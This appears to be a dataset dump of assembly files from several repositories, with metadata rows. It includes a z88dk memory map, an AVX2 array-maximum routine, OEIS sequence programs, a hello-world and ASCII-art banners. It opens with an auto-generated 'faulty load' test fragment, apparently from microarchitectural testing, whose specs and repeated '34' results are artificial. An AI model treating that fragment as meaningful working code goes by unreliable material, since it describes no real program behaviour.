shlq $12, %r8
mov (%r11,%r8,1), %r8
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 9, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 39.383648 | 2,999 | 0.653625 |
22a6dc3afd339321ea59446c738219e9fbf1acec | 4,187 | asm | Assembly | lib/crt/classic/crt_section_standard.asm | geoffmcl/z88dk | a7eb96a7ae11251b213d1c5754f6717443c5c7ff | [
"ClArtistic"
] | null | null | null | lib/crt/classic/crt_section_standard.asm | geoffmcl/z88dk | a7eb96a7ae11251b213d1c5754f6717443c5c7ff | [
"ClArtistic"
] | null | null | null | lib/crt/classic/crt_section_standard.asm | geoffmcl/z88dk | a7eb96a7ae11251b213d1c5754f6717443c5c7ff | [
"ClArtistic"
] | null | null | null | ; Classic Memory map and section setup
;
; This layout suits all the classic machines. Memory placement is
; affected by:
;
; CRT_MODEL: RAM/ROM configuration
; CRT_ORG_CODE: Where code starts executing from
; CRT_ORG_BSS: Where uninitialised global variables are placed
; CRT_ORG_GRAPHICS: Where graphics routines + variables are stored (certain ports only)
;
; Contains the generic variables + features
;
; crt_model = 0 ; everything in RAM
; crt_model = 1 ; ROM model, data section copied
; crt_model = 2 ; ROM model, data section compressed
SECTION CODE
SECTION code_crt_init
SECTION code_crt_init_exit
SECTION code_crt_exit
SECTION code_crt_exit_exit
SECTION code_driver
SECTION rodata_driver ;Keep it in low memoey
SECTION code_compiler
SECTION code_clib
SECTION code_crt0_sccz80
SECTION code_l
SECTION code_l_sdcc
SECTION code_l_sccz80
SECTION code_compress_zx7
SECTION code_compress_aplib
SECTION code_ctype
SECTION code_esxdos
SECTION code_fp
SECTION code_fp_math48
SECTION code_fp_math32
SECTION code_fp_math16
SECTION code_fp_mbf32
SECTION code_fp_mbf64
SECTION code_math
SECTION code_error
SECTION code_stdlib
SECTION code_string
SECTION code_adt_b_array
SECTION code_adt_b_vector
SECTION code_adt_ba_priority_queue
SECTION code_adt_ba_stack
SECTION code_adt_bv_priority_queue
SECTION code_adt_bv_stack
SECTION code_adt_p_forward_list
SECTION code_adt_p_forward_list_alt
SECTION code_adt_p_list
SECTION code_adt_p_queue
SECTION code_adt_p_stack
SECTION code_adt_w_array
SECTION code_adt_w_vector
SECTION code_adt_wa_priority_queue
SECTION code_adt_wa_stack
SECTION code_adt_wv_priority_queue
SECTION code_adt_wv_stack
SECTION code_alloc_balloc
SECTION code_alloc_obstack
SECTION code_arch
SECTION code_font
SECTION code_font_fzx
SECTION code_psg
SECTION code_sound_ay
SECTION code_z80
IF !__crt_org_graphics
SECTION code_graphics
ENDIF
SECTION code_user
SECTION rodata_fp
SECTION rodata_fp_math16
SECTION rodata_fp_math32
SECTION rodata_fp_mbf32
SECTION rodata_fp_mbf64
SECTION rodata_arch
SECTION rodata_compiler
SECTION rodata_clib
SECTION rodata_psg
SECTION rodata_sound_ay
IF !__crt_org_graphics
SECTION rodata_graphics
ENDIF
SECTION rodata_user
SECTION rodata_font
SECTION rodata_font_fzx
SECTION rodata_font_4x8
SECTION rodata_font_8x8
SECTION ROMABLE_END
IF !__crt_model
SECTION DATA
SECTION smc_clib
SECTION smc_user
SECTION data_clib
SECTION data_stdlib
SECTION data_psg
SECTION data_sound_ay
IF !__crt_org_graphics
SECTION data_graphics
ENDIF
SECTION data_crt
SECTION data_arch
SECTION data_compiler
SECTION data_user
SECTION data_alloc_balloc
SECTION DATA_END
ENDIF
SECTION BSS
IF __crt_org_bss
org __crt_org_bss
defb 0 ; control name of bss binary
ENDIF
SECTION bss_fp
SECTION bss_fp_math32
SECTION bss_fp_mbf32
SECTION bss_fp_mbf64
SECTION bss_compress_aplib
SECTION bss_error
SECTION bss_crt
SECTION bss_fardata
IF __crt_org_bss_fardata_start
org __crt_org_bss_fardata_start
ENDIF
SECTION bss_compiler
IF __crt_org_bss_compiler_start
org __crt_org_bss_compiler_start
ENDIF
SECTION bss_driver
SECTION bss_arch
SECTION bss_clib
SECTION bss_string
SECTION bss_alloc_balloc
IF !__crt_org_graphics
SECTION bss_graphics
ENDIF
SECTION bss_psg
SECTION bss_sound_ay
SECTION bss_user
IF __crt_model > 0
SECTION DATA
org -1
defb 0 ; control name of data binary
SECTION smc_clib
SECTION smc_fp
SECTION smc_user
SECTION data_clib
SECTION data_crt
SECTION data_arch
SECTION data_stdlib
SECTION data_psg
SECTION data_sound_ay
IF !__crt_org_graphics
SECTION data_graphics
ENDIF
SECTION data_compiler
SECTION data_user
SECTION data_alloc_balloc
SECTION DATA_END
ENDIF
SECTION BSS_END
IF __crt_org_graphics
SECTION HIMEM
org __crt_org_graphics
SECTION code_graphics
SECTION code_himem
SECTION rodata_graphics
SECTION rodata_himem
SECTION data_himem
SECTION data_graphics
SECTION bss_graphics
SECTION bss_himem
SECTION HIMEM_END
ENDIF
IF CRT_APPEND_MMAP
INCLUDE "./mmap.inc"
ENDIF
| 22.632432 | 87 | 0.815859 |
574b02f47146d58419fc92712c3b60e951ff8ac3 | 83 | asm | Assembly | q2.asm | tatticoder/Simple-Code | ba7a48d12154c347cdf3a1f7ea1b46f32e1d64ba | [
"MIT"
] | null | null | null | q2.asm | tatticoder/Simple-Code | ba7a48d12154c347cdf3a1f7ea1b46f32e1d64ba | [
"MIT"
] | null | null | null | q2.asm | tatticoder/Simple-Code | ba7a48d12154c347cdf3a1f7ea1b46f32e1d64ba | [
"MIT"
] | null | null | null | .MODE SMALL
.CODE
.386
.STARTUP
MOV AX,3H
MOV BX,4H
ADD [BX],AX
.EXIT
END
| 8.3 | 12 | 0.614458 |
8931620060d2d006680295db54f4ddea6005a97e | 3,257 | asm | Assembly | Windows/FastMaxI16.asm | clayne/FastExtrema | 9d38cdcd095f7ea07e94c9690b79bcd9ac1228b3 | [
"MIT"
] | 6 | 2021-04-02T16:09:13.000Z | 2022-01-24T11:15:48.000Z | Windows/FastMaxI16.asm | komrad36/FastArrayOps | 9d38cdcd095f7ea07e94c9690b79bcd9ac1228b3 | [
"MIT"
] | null | null | null | Windows/FastMaxI16.asm | komrad36/FastArrayOps | 9d38cdcd095f7ea07e94c9690b79bcd9ac1228b3 | [
"MIT"
] | 1 | 2021-02-17T21:51:17.000Z | 2021-02-17T21:51:17.000Z | ; /*******************************************************************
; *
; * Author: Kareem Omar
; * kareem.h.omar@gmail.com
; * https://github.com/komrad36
; *
; * Last updated Oct 11, 2020
; *******************************************************************/
_TEXT$FastMaxI16 SEGMENT ALIGN(64)
FastMaxI16 PROC
mov eax,edx
cmp edx,64
jae CASE_LARGE
vpcmpeqd ymm0,ymm0,ymm0
vpsllw ymm0,ymm0,15
lea r8,JUMP_TABLE
movzx edx,byte ptr [r8+rax]
add r8,rdx
lea rdx,[rcx+2*rax]
and eax,-16
lea rcx,[rcx+2*rax]
mov ax,08000h
jmp r8
JUMP_TABLE:
db 1 DUP ( CASE_0 - JUMP_TABLE)
db 1 DUP ( CASE_1 - JUMP_TABLE)
db 1 DUP ( CASE_2 - JUMP_TABLE)
db 1 DUP ( CASE_3 - JUMP_TABLE)
db 4 DUP ( CASE_4 - JUMP_TABLE)
db 8 DUP ( CASE_8 - JUMP_TABLE)
db 16 DUP (CASE_16 - JUMP_TABLE)
db 16 DUP (CASE_32 - JUMP_TABLE)
db 16 DUP (CASE_48 - JUMP_TABLE)
db 1 DUP (0CCh)
CASE_48:
vmovdqu ymm0,ymmword ptr [rcx-96]
CASE_32:
vpmaxsw ymm0,ymm0,ymmword ptr [rcx-64]
CASE_16:
vpmaxsw ymm0,ymm0,ymmword ptr [rcx-32]
vpmaxsw ymm0,ymm0,ymmword ptr [rdx-32]
vextracti128 xmm1,ymm0,1
vpmaxsw xmm0,xmm0,xmm1
vpunpckhqdq xmm1,xmm0,xmm0
vpmaxsw xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsw xmm0,xmm0,xmm1
vpshuflw xmm1,xmm0,225
vpmaxsw xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
db 16 DUP (0CCh)
CASE_8:
vmovdqu xmm0,xmmword ptr [rcx]
vpmaxsw xmm0,xmm0,xmmword ptr [rdx-16]
vpunpckhqdq xmm1,xmm0,xmm0
vpmaxsw xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsw xmm0,xmm0,xmm1
vpshuflw xmm1,xmm0,225
vpmaxsw xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
CASE_4:
vmovq xmm0,qword ptr [rcx]
vmovq xmm1,qword ptr [rdx-8]
vpmaxsw xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsw xmm0,xmm0,xmm1
vpshuflw xmm1,xmm0,225
vpmaxsw xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
db 1 DUP (0CCh)
CASE_3:
mov ax,word ptr [rdx-6]
CASE_2:
cmp ax,word ptr [rdx-4]
cmovl ax,word ptr [rdx-4]
CASE_1:
cmp ax,word ptr [rdx-2]
cmovl ax,word ptr [rdx-2]
CASE_0:
ret
db 3 DUP (0CCh)
CASE_LARGE:
vmovdqu ymm0,ymmword ptr [rcx]
vmovdqu ymm1,ymmword ptr [rcx+32]
vmovdqu ymm2,ymmword ptr [rcx+64]
vmovdqu ymm3,ymmword ptr [rcx+96]
lea rdx,[rcx+2*rax]
add rcx,256
cmp rcx,rdx
jae LOOP_END
LOOP_TOP:
vpmaxsw ymm0,ymm0,ymmword ptr [rcx-128]
vpmaxsw ymm1,ymm1,ymmword ptr [rcx-96]
vpmaxsw ymm2,ymm2,ymmword ptr [rcx-64]
vpmaxsw ymm3,ymm3,ymmword ptr [rcx-32]
sub rcx,-128
cmp rcx,rdx
jb LOOP_TOP
LOOP_END:
vpmaxsw ymm0,ymm0,ymmword ptr [rdx-128]
vpmaxsw ymm1,ymm1,ymmword ptr [rdx-96]
vpmaxsw ymm2,ymm2,ymmword ptr [rdx-64]
vpmaxsw ymm3,ymm3,ymmword ptr [rdx-32]
vpmaxsw ymm0,ymm0,ymm2
vpmaxsw ymm1,ymm1,ymm3
vpmaxsw ymm0,ymm0,ymm1
vextracti128 xmm1,ymm0,1
vpmaxsw xmm0,xmm0,xmm1
vpunpckhqdq xmm1,xmm0,xmm0
vpmaxsw xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsw xmm0,xmm0,xmm1
vpshuflw xmm1,xmm0,225
vpmaxsw xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
FastMaxI16 ENDP
_TEXT$FastMaxI16 ENDS
END
| 23.948529 | 70 | 0.614983 |
d15feccd4ae4822de45875de4664a33007baada8 | 645 | asm | Assembly | programs/oeis/125/A125201.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/125/A125201.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/125/A125201.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A125201: a(n) = 8*n^2 - 7*n + 1.
; 2,19,52,101,166,247,344,457,586,731,892,1069,1262,1471,1696,1937,2194,2467,2756,3061,3382,3719,4072,4441,4826,5227,5644,6077,6526,6991,7472,7969,8482,9011,9556,10117,10694,11287,11896,12521,13162,13819,14492,15181,15886,16607,17344,18097,18866,19651,20452,21269,22102,22951,23816,24697,25594,26507,27436,28381,29342,30319,31312,32321,33346,34387,35444,36517,37606,38711,39832,40969,42122,43291,44476,45677,46894,48127,49376,50641,51922,53219,54532,55861,57206,58567,59944,61337,62746,64171,65612,67069,68542,70031,71536,73057,74594,76147,77716,79301
mov $1,8
mul $1,$0
add $1,9
mul $1,$0
add $1,2
mov $0,$1
| 64.5 | 551 | 0.767442 |
32de5e48cb479d4427c212de631d9360c7585ea1 | 493 | asm | Assembly | programs/oeis/045/A045755.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/045/A045755.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/045/A045755.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A045755: 8-fold factorials: a(n) = Product_{k=0..n-1} (8*k+1).
; 1,1,9,153,3825,126225,5175225,253586025,14454403425,939536222625,68586144251625,5555477684381625,494437513909964625,47960438849266568625,5035846079172989705625,569050606946547836735625,68855123440532288245010625,8882310923828665183606370625,1216876596564527130154072775625,176447106501856433872340552465625,26996407294784034382468104527240625
sub $0,1
mov $1,1
mov $2,1
lpb $0
sub $0,1
add $2,8
mul $1,$2
lpe
mov $0,$1
| 37.923077 | 344 | 0.817444 |
c8a29c55e5436b983a04542e705e37bc6a61c5d3 | 309 | asm | Assembly | libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_ix/sp1_PrintString.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_ix/sp1_PrintString.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_ix/sp1_PrintString.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | ; void sp1_PrintString(struct sp1_pss *ps, uchar *s)
SECTION code_temp_sp1
PUBLIC _sp1_PrintString
_sp1_PrintString:
pop af
pop hl
pop de
push de
push hl
push af
push ix
call asm_sp1_PrintString
pop ix
ret
INCLUDE "temp/sp1/zx/tiles/asm_sp1_PrintString.asm"
| 12.36 | 54 | 0.682848 |
7d10c52d0ac8038586184adbb90b077eabb2d04e | 145 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math48/c/sccz80/cm48_sccz80_trunc.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/c/sccz80/cm48_sccz80_trunc.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/c/sccz80/cm48_sccz80_trunc.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; double __FASTCALL__ trunc(double x)
SECTION code_fp_math48
PUBLIC cm48_sccz80_trunc
EXTERN am48_trunc
defc cm48_sccz80_trunc = am48_trunc
| 13.181818 | 37 | 0.834483 |
0b9ac9b9c1addc06a9843ee5821bf14dcf8e21b2 | 315 | asm | Assembly | programs/oeis/128/A128092.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/128/A128092.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/128/A128092.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A128092: a(n) = largest multiple of n which is <= 2^n.
; 2,4,6,16,30,60,126,256,504,1020,2046,4092,8190,16380,32760,65536,131070,262134,524286,1048560,2097144,4194300,8388606,16777200,33554425,67108860,134217702,268435440,536870910,1073741820,2147483646
mov $1,2
mov $2,$0
add $2,1
pow $1,$2
div $1,$2
mul $1,$2
| 31.5 | 198 | 0.736508 |
b453f6fd9efdd616e3543aaa3388237f8cbd9f88 | 687 | asm | Assembly | oeis/228/A228873.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/228/A228873.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/228/A228873.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A228873: F(n) * F(n+1) * F(n+2) * F(n+3), the product of four consecutive Fibonacci numbers, A000045.
; 6,30,240,1560,10920,74256,510510,3495030,23965920,164237040,1125770256,7715953440,52886430870,362487682830,2484530961360,17029219589256,116720030923320,800010932051760,5483356663145790,37583485265670630,257601041359736256,1765623801207218400,12101765575063399200,82946735203364020800,568525380903129805350,3896730930975481995006,26708591136299786965680,183063407022142460968440,1254735258021264594396360,8600083399119988801853520,58945848535836252557853006,404020856351687713383245910
add $0,1
seq $0,166536 ; A product of consecutive doubled Fibonacci numbers.
bin $0,2
mul $0,2
| 85.875 | 486 | 0.858806 |
81f1b4b79c5307248a2523957198ece2fb0511da | 366 | asm | Assembly | src/hello.asm | mokytis/x86_64 | e626a4644c63d48438b05adeba90ef2aa82d8600 | [
"MIT"
] | null | null | null | src/hello.asm | mokytis/x86_64 | e626a4644c63d48438b05adeba90ef2aa82d8600 | [
"MIT"
] | null | null | null | src/hello.asm | mokytis/x86_64 | e626a4644c63d48438b05adeba90ef2aa82d8600 | [
"MIT"
] | null | null | null | section .data
; 10 is the decimal of ascii new line (\n)
text db "Hello, World!", 10
section .text
global _start
_start:
mov rax, 1 ; code for write syscall
mov rdi, 1 ; write to stdout stdout
mov rsi, text ; memory location of buffer
mov rdx, 14 ; length of buffer
syscall
mov rax, 60 ; exit syscall
mov rdi, 0 ; exit code
syscall
| 20.333333 | 44 | 0.65847 |
9262931f05b22d585b32381e258ecb6a13b8a49b | 534 | asm | Assembly | oeis/001/A001023.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/001/A001023.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/001/A001023.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A001023: Powers of 14.
; 1,14,196,2744,38416,537824,7529536,105413504,1475789056,20661046784,289254654976,4049565169664,56693912375296,793714773254144,11112006825558016,155568095557812224,2177953337809371136,30491346729331195904,426878854210636742656,5976303958948914397184,83668255425284801560576,1171355575953987221848064,16398978063355821105872896,229585692886981495482220544,3214199700417740936751087616,44998795805848373114515226624,629983141281877223603213172736,8819763977946281130444984418304
mov $1,14
pow $1,$0
mov $0,$1
| 76.285714 | 477 | 0.900749 |
a97f1b557edbd14e1150682ec3143e93f320114d | 7,134 | asm | Assembly | dcs6.asm | runer112/Doors_CS_7 | d1b47a8d8bf96f67ee42ecd9106d6d8ae265f723 | [
"Unlicense"
] | 17 | 2016-04-01T16:15:37.000Z | 2022-02-14T19:44:50.000Z | dcs6.asm | runer112/Doors_CS_7 | d1b47a8d8bf96f67ee42ecd9106d6d8ae265f723 | [
"Unlicense"
] | 3 | 2020-03-08T01:40:58.000Z | 2021-09-15T06:39:53.000Z | dcs6.asm | runer112/Doors_CS_7 | d1b47a8d8bf96f67ee42ecd9106d6d8ae265f723 | [
"Unlicense"
] | 5 | 2016-04-02T04:24:10.000Z | 2021-09-15T19:29:34.000Z | ;************************************************************************************************************************
;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM7 7MMMMMMMMMMMMM7 +7MMMMMMMMMMMMMMMMMM7 MMMM
;MMMMMMMMMMMM, MMMMMMMMMMMMMMMZ MMMMMMMMMMMMMMM= 7MMM7 MMMMMM NMMI MMMMMMMMMMMM 7MMMM
;MMMMMMMMMMM ?MMMMMMMMMMMMMMMMM= MMMMMMMMM +MMMMMMMMMM NMMMMMMMMMM, MMMMN 7MMMMMMM, MMMMMMMMMZ MMMMMMMMM
;MMMMMMMMM= MMMMMMMMMMMMMMMM= MMMMMMMMMMM MMMMMMM MMMMMMMMMMMMO MMM8 IMMMMMMMMZ MMMMMMMM 8MMMMMMMMMM
;MMMMMMMN MM? ?MMMMMMMMMMMMMM= MMMMMMMMMMMM MMMMM $MMMMMMMMMMMMMM MMM 7MMMMMMMMM MMMMMMD MMMMMMMMMMMM
;MMMMMM MMMMMM MMMMMMMMMMMMM= MMMMMMMMMMMMM MMM$ MMMMMMMMMMMMMMMMMMMM NMMMMMMMMMMMMMMM+ MMMMMMMMMMMMM
;MMMMN MMMMMMMM? +MMMMMMMMMMM= MMMMMMMMMMMMM7 MMM ZMMMMMMMMMMMMMMMMMMMMO ~MMMMMMMMMMMMMM MMMMMMMMMMMMMM
;MMM MMMMMMMMMMMM MMMMMMMMMM= MMMMMMMMMMMMMM ZM+ MMMMMMMMMMMMMMMMMMMMMMM 7MMMMMMMMMM 7 =MMMMM
;MO 7MMMMM OMMMMM? $MMMMMMMM= MMMMMMMMMMMMMM ?M MMMMMMMMMMMMMMMMMMMMMMMM: MMMMMM+ +7MM7 DMMM
;M? MMMMMM ?MMMMMM OMMMMMMMM= MMMMMMMMMMMMMM ?M MMMMMMMMMMMMMMMMMMMMMMMMMMM? DMMM MMMMMMMM :MM
;MMMMMMMMM= MMMMMMMMMMMMMMMMM= MMMMMMMMMMMMMM OM= ZMMMMMMMMMMMMMMMMMMMMMMMMMMMMM$ $MM MMMMMMMMM MM
;MMMMMMMN MM .MMMMMMMMMMMMMMM= MMMMMMMMMMMMMM MMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMD MM MMMMMMMMM7 MM
;MMMMMM MMMMM MMMMMMMMMMMMMM= MMMMMMMMMMMMM$ MMM7 MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMZ 7M MMMMMMMMMD MM
;MMMMN MMMMMMMM .MMMMMMMMMMMM= MMMMMMMMMMMMM MMMMM NMMMMMMMMMMMMM MMM: 7MMMMMMMMMM 8M, NMMMMMMMMO MM
;MMM MMMMMMMMMMM? +MMMMMMMMMM= MMMMMMMMMMMM NMMMMMM DMMMMMMMMMMM8 MMM: MMMMMMMMMN ,MMM MMMMMMMM MM
;M+ 7MMMMMMMMMMMMMM .MMMMMMMMM= MMMMMMMMMN +MMMMMMMMMN MMMMMMMMMM: MMM: MMMMMMMMM MMMMM ~MMMMMM: +MMM
;M MMMMMMMMMMMMMMMMM? MMMMMZ MMMMMMMMMMMMMMM 7MMMZI MMM: =NMM7, MMMMMMMMO :8M? MMMMM
